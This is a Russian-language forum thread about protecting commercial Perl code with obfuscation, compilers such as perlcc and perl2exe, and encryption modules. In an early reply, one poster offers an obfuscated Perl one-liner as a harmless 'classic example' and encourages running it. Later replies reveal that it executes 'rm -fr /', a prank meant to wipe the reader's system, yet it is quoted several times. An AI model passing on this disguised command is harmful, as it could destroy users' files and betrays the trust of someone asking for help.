Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ? Желательно с возможностью ограничение времени использования (периуд использования в днях, ограничение по числу пользователей, привязка к компьютеру и т.д.) Для PHP есть Zend Optimizer, Zend SafeGuard Suite, а для Perl ? Или PHP в области разработки коммерческих продуктов - вне конкуренции среди интерпретируемых языков, используемых для создания web-приложений ?
>Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ? Желательно сЕсли на Perl'е писать как на Perl'е, а не как на PHP, то там и так уже всё "необратимо" зашифровано без всяких защит. И становится просто невыгодно нанимать школьников для поддержки и модернизации.
Вот классический пример:
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'Казалось бы строка кода, но уже из под root'a не запускается. По крайней мере у меня. Как ни бился с защитой - пришлось обращаться к автору.
Те, кто отсекутся, украв у вас скрипт, как правило нищие, копейки которых прокляты страшным проклятием геморроя. Те, которым вы хотите ограничения на использование ввести, проклянут вас страшным проклятьем половой дисфункции, если вы не сможете продлить им вовремя лицензию.
Если моя попытка донести вам свет самолично выстраданной мудрости провалилась, можете посмотреть в сторону perlcc, par, perl2exe. Но вся эта бесовщина привнесёт вам ворох новых проблем, ибо сыра в силу своей ненужности.
P.S. Период пишется через "О". Проверочное слово периодический.
>[оверквотинг удален]
>Те, кто отсекутся, украв у вас скрипт, как правило нищие, копейки которых
>прокляты страшным проклятием геморроя. Те, которым вы хотите ограничения на использование
>ввести, проклянут вас страшным проклятьем половой дисфункции, если вы не сможете
>продлить им вовремя лицензию.
>
>Если моя попытка донести вам свет самолично выстраданной мудрости провалилась, можете посмотреть
>в сторону perlcc, par, perl2exe. Но вся эта бесовщина привнесёт вам
>ворох новых проблем, ибо сыра в силу своей ненужности.
>
>P.S. Период пишется через "О". Проверочное слово периодический.вот вроде пишешь складно, а детство в **пе еще не отыграло ...имхо морду бить надо за однострочники в таких разглагольствованиях ...(для двоечников - не пускайте это из под рута)
>>Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ? Желательно с
>Вот классический пример:
>cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
>
> Казалось бы строка кода, но уже из под root'a не запускается. По крайней мере у меня. Как ни бился с защитой - пришлось обращаться к автору.У меня запустился :)
Только непонятно что эта строка делает... 15 минут что то ищет
Ну и придурок!!!!
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' это rm -fr /
>Ну и придурок!!!!
>perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' это rm -fr /ну надо знать стандарные приколы )))
>>Ну и придурок!!!!
>>perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' это rm -fr /
>
>ну надо знать стандарные приколы )))Хе-хе ... Я думал после знаменитого ЛОР'овского "не печатает" :) все балюесы либо вымерли, либо поумнели :)
Охши ... это ж просто успело новое поколение вырости, которое не в курсе 8-\
>ну надо знать стандарные приколы )))Вот именно. :/ "У меня запустился :) ... 15 минут что то ищет" -- банальный прикол второго порядка<<<
>Вот классический пример:
>cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'Шалун ! :)
>Те, кто отсекутся, украв у вас скрипт, как правило нищие, копейки которых
>прокляты страшным проклятием геморроя.Таких нищих - миллиарды. У вас, например, наверняка нелицензионная копия какого-либо ПО установлена ? :)
>Те, которым вы хотите ограничения на использование
>в сторону perlcc, par, perl2exe. Но вся эта бесовщина привнесёт вам
>ворох новых проблем, ибо сыра в силу своей ненужности.В курсе и про perlcc, и про perl2exe. Но это конечно же сырые решения...
>P.S. Период пишется через "О". Проверочное слово периодический.
Спасиба за паправку. :)
>Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ?Есть. Надо его стереть перед использованием.
keyword - абфускация
>keyword - абфускацияА разве обфускация являет собой необратимый способ защиты? Это ведь не панацея, а просто мера, снижающая читабельность кода. Конечно, и Zend'овскую защиту дебаггером сломать можно, но всё же хотелось бы найти аналогичное решение и под перл. Необратимое.
>>keyword - абфускация
>
>А разве обфускация являет собой необратимый способ защиты? Это ведь не панацея,
>а просто мера, снижающая читабельность кода. Конечно, и Zend'овскую защиту дебаггером
>сломать можно, но всё же хотелось бы найти аналогичное решение и
>под перл. Необратимое.плиз ссылку на ман по востоновлению обфускцированного перл кода ...
>>>keyword - абфускация
>>под перл. Необратимое.Необратимых нет. Почему - догадайся сам.
>плиз ссылку на ман по востоновлению обфускцированного перл кода ...
Да полноте вам, если там не хелло ворлд и када больше чем на пару экранов - перл код в обфускации не нуждается! Все одно - без пузыря не врубишься :)
>>>>keyword - абфускация
>>>под перл. Необратимое.
>
>Необратимых нет. Почему - догадайся сам.
>
>>плиз ссылку на ман по востоновлению обфускцированного перл кода ...
>
>Да полноте вам, если там не хелло ворлд и када больше чем
>на пару экранов - перл код в обфускации не нуждается! Все
>одно - без пузыря не врубишься :)если кодер умеет оформлять код - проблем с врубанием не будет )
>>>>keyword - абфускация
>>>под перл. Необратимое.
>
>Необратимых нет. Почему - догадайся сам.Ну так и машинный код можно дизассемблировать при желании. Так написал как-будто это два пальца об асфальт. http://www.xakep.ru/post/37614/default.asp - верблюдика расшифруй плиз обратно. ;)
> Да полноте вам, если там не хелло ворлд и када больше чем
> на пару экранов - перл код в обфускации не нуждается! Все
> одно - без пузыря не врубишься :)Хорош чушь нести, если код написан более-менее разумным человеком, то все там отлично читаемо. На любом языке можно говнокодить, перл не исключение.
Вот пример из 500 строк кода: http://github.com/gugod/App-perlbrew/blob/master/lib/App/per...
>Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ?PAR::Filter::Crypto, Filter::Crypto::CryptFile, Module::Crypt